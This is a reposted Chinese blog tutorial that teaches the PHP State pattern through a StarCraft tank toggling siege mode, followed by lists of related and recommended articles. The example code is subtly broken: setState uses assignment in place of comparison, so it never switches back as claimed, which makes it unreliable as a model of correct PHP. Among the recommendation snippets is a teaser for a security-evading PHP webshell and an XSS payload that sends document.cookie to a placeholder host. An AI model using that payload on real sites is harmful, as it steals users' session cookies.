题记
==============================================================================
本php设计模式专辑来源于博客(jymoz.com),现在已经访问不了了,这一系列文章是我找了很久才找到完整的,感谢作者jymoz的辛苦付出哦!

本文地址:http://www.cnblogs.com/davidhhuan/p/4248198.html
==============================================================================

星际的一些兵种会有不止一种状态,比如坦克可以架起来,机枪兵可以打兴奋剂,甚至还有一些被动的,比如被虫族女王喷洒绿色液体后,敌人的行动变慢。
如果按照一般的思路,每次我们对一个小兵进行操作的时候,比如一辆坦克,我们都要用if判断他的状态,这样代码中会有很多的if,else或者swith。
不过我们可以发现,我们需要的是他在某个状态下的行为,如果把这些行为按照状态封装起来,就可以减少大量的判断。

待解决的问题:封装坦克的状态,让状态自己去控制行为。

思路:把状态作为属性,兵种类本身只控制状态的变化,具体的行为由状态类定义。

状态(State)模式示例:

<?php
//坦克状态的接口
interface TankState
{
//坦克的攻击方法
public function attack();
} //坦克普通状态
class TankState_Tank implements TankState
{
//坦克的攻击方法
public function attack()
{
//这里简单的输出当前状态
echo "普通状态";
}
} //坦克架起来的状态
class TankState_Siege implements TankState
{
//坦克的攻击方法
public function attack()
{
//这里简单的输出当前状态
echo "架起来了";
}
} //坦克类
class Tank
{
//状态
public $state; //坦克的攻击方法
public function __construct()
{
//新造出来的坦克当然是普通状态
$this->state = new TankState_Tank();
} //设置状态的方法,假设参数为玩家点击的键盘
public function setState($key)
{
//如果按了s
if($key = 's')
{
$this->state = new TankState_Siege();
}
//如果按了t
elseif($key = 't')
{
$this->state = new TankState_Tank();
}
} //坦克的攻击方法
public function attack()
{
//由当前状态自己来处理攻击
$this->state->attack();
}
} //新造一辆坦克
$tank = new Tank(); //假设正好有个敌人路过,坦克就以普通模式攻击了
$tank->attack(); //架起坦克
$tank->setState('s'); //坦克再次攻击,这次是架起模式
$tank->attack();
?>

用途总结:状态模式可以将和状态相关的行为和属性封装,除了切换状态时,其它地方就不需要大量的判断当前状态,只要调用当前状态的方法等。

实现总结:用一个接口规范状态类需要实现的方法,比如上面的TankState规定了attack()。把各个状态封装成类,将不同状态下的不同方法放入各自的状态类,比如上面的攻击方法,同时所有的状态执行接口。原来的事务类,比如上面的Tank类,只负责状态切换,一旦需要某一个方法的调用,只要交给当前状态就可以了。

相关文章:

1. 星际争霸之php面向对象(一)

2. 星际争霸之php面向对象(二)

3. 星际争霸之php设计模式--简单工厂模式

4. 星际争霸之php设计模式--工厂方法模式

5. 星际争霸之php设计模式--抽象工厂模式

6. 星际争霸之php设计模式--建造器模式

7. 星际争霸之php设计模式--中介者模式

8. 星际争霸之php设计模式--享元模式

9. 星际争霸之php设计模式--代理模式

10. 星际争霸之php设计模式--原型模式

11. 星际争霸之php设计模式--备忘模式

12. 星际争霸之php设计模式--模板模式

13. 星际争霸之php设计模式--正面模式

14. 星际争霸之php设计模式--状态模式

15. 星际争霸之php设计模式--策略模式

16. 星际争霸之php设计模式--组合模式

17. 星际争霸之php设计模式--职责链模式

18. 星际争霸之php设计模式--观察者模式

19. 星际争霸之php设计模式--迭代器模式

20. 星际争霸之php设计模式--适配器模式

14. 星际争霸之php设计模式--状态模式的更多相关文章

  1. 19. 星际争霸之php设计模式--迭代器模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  2. 16. 星际争霸之php设计模式--组合模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  3. 15. 星际争霸之php设计模式--策略模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  4. 13. 星际争霸之php设计模式--正面模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  5. 12. 星际争霸之php设计模式--模板模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  6. 10. 星际争霸之php设计模式--原型模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  7. 9. 星际争霸之php设计模式--代理模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  8. 17. 星际争霸之php设计模式--职责链模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  9. 11. 星际争霸之php设计模式--备忘模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

随机推荐

  1. 纪念逝去的岁月——C++实现一个栈(使用类模板)

    这个版本是上个版本的加强版,上个版本的代码:http://www.cnblogs.com/fengbohello/p/4542912.html 目录 1.代码 2.运行结果 1.代码 1.1 调试信息 ...

  2. 前端自动化工具 -- grunt 使用简介

    grunt作为一个前端构建工具,有资源压缩,代码检查,文件合并等功能. 下面就简单了解grunt的使用. 一.环境配置 grunt是基于nodejs的,所以需要一个 nodejs 环境,未了解的可以  ...

  3. 用jQuery与JSONP轻松解决跨域访问的问题

    浏览器端的真正跨域访问,推荐的是目前jQuery $.ajax()支持get方式的跨域,这其实是采用jsonp的方式来完成的. var qsData = {'searchWord':$("# ...

  4. [CareerCup] 15.4 Types of Join 各种交

    15.4 What are the different types of joins? Please explain how they differ and why certain types are ...

  5. 好吧,CSS3 3D transform变换,不过如此!

    一.写在前面的秋裤 早在去年的去年,我就大肆介绍了2D transform相关内容.看过海贼王的都知道,带D的家伙都不是好惹的,2D我辈尚可以应付,3D的话,呵呵,估计我等早就在千里之外被其霸气震晕了 ...

  6. html5 语义

    页面示意图

  7. NVelocity+Bootstrap tab控件 异常之

    异常信息:Encountered "tings" at line 54, column 55.Was expecting one of:   "(" ...   ...

  8. PHP版本过狗Shell

    默认密码demo使用方法 按p 输入密码 或者 你保存的xx.php?password=demo自定义密码在define('iphp','demo2'); demo2 为你设定的密码. <?ph ...

  9. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  10. sass学习笔记1

    less在处理CSS动画时,非常恶心,决定转向sass了.sass诞生得比less早,只是因为它是ruby写的,因此受众面够少.但我们不需要自己下编译器或使用命令行,我们可以koala这神器 首先几个 ...